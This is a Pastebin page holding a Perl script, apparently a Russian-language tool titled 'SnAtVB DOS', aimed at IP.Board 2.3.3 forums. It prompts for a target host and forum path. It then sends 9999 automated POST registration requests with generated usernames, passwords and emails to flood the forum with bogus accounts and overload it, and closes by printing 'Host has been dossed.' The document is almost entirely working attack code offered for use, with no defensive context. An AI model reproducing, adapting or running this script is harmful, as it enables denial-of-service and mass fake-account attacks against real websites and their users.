Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- system ("color 02");
- use IO::Socket;
- $rand=rand(10);
- print "***************************************************\n";
- print " SnAtVB DOS\n";
- print "***************************************************\n";
- print " Forum IP.Board 2.3.3\n";
- print "***************************************************\n";
- print "Пример хоста: site.ru.\n";
- print "Пример пути: /forum/\n";
- print "Удачной DOS атаки!\n";
- print "***************************************************\n\n";
- print "Хост: ";
- $serv = <stdin>;
- chop ($serv);
- print "Путь к форуму: ";
- $path = <stdin>;
- chop ($path);
- for ($i=0; $i<9999; $i++)
- {
- $name="sedXPL_".$rand.$i;
- $data = "act=index.php?act=Reg&CODE=00&coppa_user=0&UserName=".$name."&PassWord=sedbotbeta&PassWord_Check=sedbotbeta&EmailAddress=".$name."\@host.com&EmailAddress_two=".$name."\@host.com&allow_admin_mail=1&allow_member_mail=1&day=11&month=11&year=1985&agree=1";
- $len = length $data;
- $get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "Cant connect to host. You dossed it=))";
- print $get1 "POST ".$path."index.php HTTP/1.0\n";
- print $get1 "Host: ".$serv."\n";
- print $get1 "Content-Type: application/x-www-form-urlencoded\n";
- print $get1 "Content-Length: ".$len."\n\n";
- print $get1 $data;
- syswrite STDOUT, "+";
- }
- print "Host has been dossed.\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement